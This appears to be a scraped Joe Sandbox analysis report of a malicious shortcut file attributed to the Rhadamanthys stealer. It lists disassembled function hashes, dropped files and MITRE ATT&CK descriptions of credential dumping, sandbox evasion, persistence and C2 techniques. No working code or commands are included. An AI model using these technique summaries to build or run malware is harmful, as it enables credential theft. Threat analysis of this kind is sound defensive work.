Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: fprintf
String ID: The result is too small to be represented (UNDERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2187435201
Opcode ID: 74f6f8cb7482b7fac668cf4040dadbe3c3bfaaa47e60ece2ce6dc68220263ba8
Instruction ID: 2a15d9391922432b16a04f92cc8f43c55e4b18b81911d5925d46cda3ac6bcfe3
Opcode Fuzzy Hash: 74f6f8cb7482b7fac668cf4040dadbe3c3bfaaa47e60ece2ce6dc68220263ba8
Instruction Fuzzy Hash: 03F06852D18F4482E6029F1CA4001EBB330FF4DB98F585725EE8D26556DF28E5978710

Function 00007FF7177AD770 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF7177AD710

Strings

Total loss of significance (TLOSS), xrefs: 00007FF7177AD770
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF7177AD6F7

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: fprintf
String ID: Total loss of significance (TLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4273532761
Opcode ID: 03791ac738d86c5becd05f1d06faabf352435464b988844d8f4eb4cb428f2bb6
Instruction ID: b3cfb97e145d423cf0469165dbec7557f3f6371923e21487ca2a68794ee774ef
Opcode Fuzzy Hash: 03791ac738d86c5becd05f1d06faabf352435464b988844d8f4eb4cb428f2bb6
Instruction Fuzzy Hash: 96F06852D18F4482E6029F1CA4001EBB330FF4DB98F595725DE8D26516DF28E5C78710

Function 00007FF7177AD6C8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF7177AD710

Strings

Argument singularity (SIGN), xrefs: 00007FF7177AD6C8
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF7177AD6F7

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: fprintf
String ID: Argument singularity (SIGN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2468659920
Opcode ID: 044f746fec8141a5650da142353fa8f6c9191853f4d67955629525536e3646b3
Instruction ID: 3e3a3587b03b0b2229506832085baf87a1847e1c243f9d7a866040239ddd9331
Opcode Fuzzy Hash: 044f746fec8141a5650da142353fa8f6c9191853f4d67955629525536e3646b3
Instruction Fuzzy Hash: 59F09652D18F8482D7029F1CA8001ABB330FF4DB98F585725EF8D2A516DF28E5878710

Function 00007FF71776C030 Relevance: 5.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,00007FF717751E04), ref: 00007FF71776C052
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,00007FF717751E04), ref: 00007FF71776C076
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,00007FF717751E04), ref: 00007FF71776C0CC
TlsSetValue.KERNEL32(?,?,?,?,?,?,?,?,00007FF717751E04), ref: 00007FF71776C0D9

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 1ddc5afa2437382de4da30d14379927b5c5762f07e08f54a2fa18bdb4944adac
Instruction ID: 1e91eb506c05c7fa60613fac5051a43e90f63cdb9e9b69007d60d24feb6ee63d
Opcode Fuzzy Hash: 1ddc5afa2437382de4da30d14379927b5c5762f07e08f54a2fa18bdb4944adac
Instruction Fuzzy Hash: EF21B011F0999246FA617B258900379E981AF4DBB0F888035EE5D573C7ED3CB98F8360

Function 00007FF717713D0F Relevance: 5.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF717713D47
memset.MSVCRT ref: 00007FF717713D57
memcpy.MSVCRT ref: 00007FF717713D71
memset.MSVCRT ref: 00007FF717713D8F

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 3a4eb231362921433dc93685f34cfa11d0ceaa83893d8fe4e9e3e3f5a0c8f505
Instruction ID: 48bbf991139f14774d0f6bdd2e18a99b15b8760ef252439dc8790f2ae8d41411
Opcode Fuzzy Hash: 3a4eb231362921433dc93685f34cfa11d0ceaa83893d8fe4e9e3e3f5a0c8f505
Instruction Fuzzy Hash: 9D012602B1478107F318E232E1017EBA602AB9B794F498130DF89076C7DB6DF28E8712

Function 00007FF717717DD0 Relevance: 5.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF717717DE7
CloseHandle.KERNEL32 ref: 00007FF717717DEF
CloseHandle.KERNEL32 ref: 00007FF717717DFE
CloseHandle.KERNEL32 ref: 00007FF717717E0E

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: d0a462f04c941b5b32d0d3707874af4f94b5957b79f4ef2077f52d904a13b6a9
Instruction ID: 0d5fb923c2e9c81f28e03949c5f97d908dfbc6b5986ae6f58575d89d87614796
Opcode Fuzzy Hash: d0a462f04c941b5b32d0d3707874af4f94b5957b79f4ef2077f52d904a13b6a9
Instruction Fuzzy Hash: 07F01922A08D4192F635BB16E0453B9D2A0EB88BA4F486431DF4E42692CF3CE8CFC350

Function 00007FF717747E30 Relevance: 5.0, APIs: 4, Instructions: 30COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF717747E52
CloseHandle.KERNEL32 ref: 00007FF717747E62
CloseHandle.KERNEL32 ref: 00007FF717747E72
CloseHandle.KERNEL32 ref: 00007FF717747E7A

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: d3428f1d18ea7f16bbf651ebddb4d5a6dda2196743fbc2f30ef966f6f9ec0f8f
Instruction ID: 26d090735e3a6d11c40fc5331d06f2d45532fa59dafc94db6d94aa4a65076845
Opcode Fuzzy Hash: d3428f1d18ea7f16bbf651ebddb4d5a6dda2196743fbc2f30ef966f6f9ec0f8f
Instruction Fuzzy Hash: 42F06222A04D4095F625FB26D4017B893A0EB48FA8F881131DE0D06296CF38D88FC351

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report rpQF1aDIK4.lnk

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Rhadamanthys

Yara Signatures

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\ajbs50ul.bat

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\regsvr32.EXE.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0d1e1ns5.xlc.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1uojmcjy.mki.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4lup0svj.sl1.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b3hct0mt.ldv.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kfnxvhbx.p4k.ps1

Windows Analysis Report
rpQF1aDIK4.lnk

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre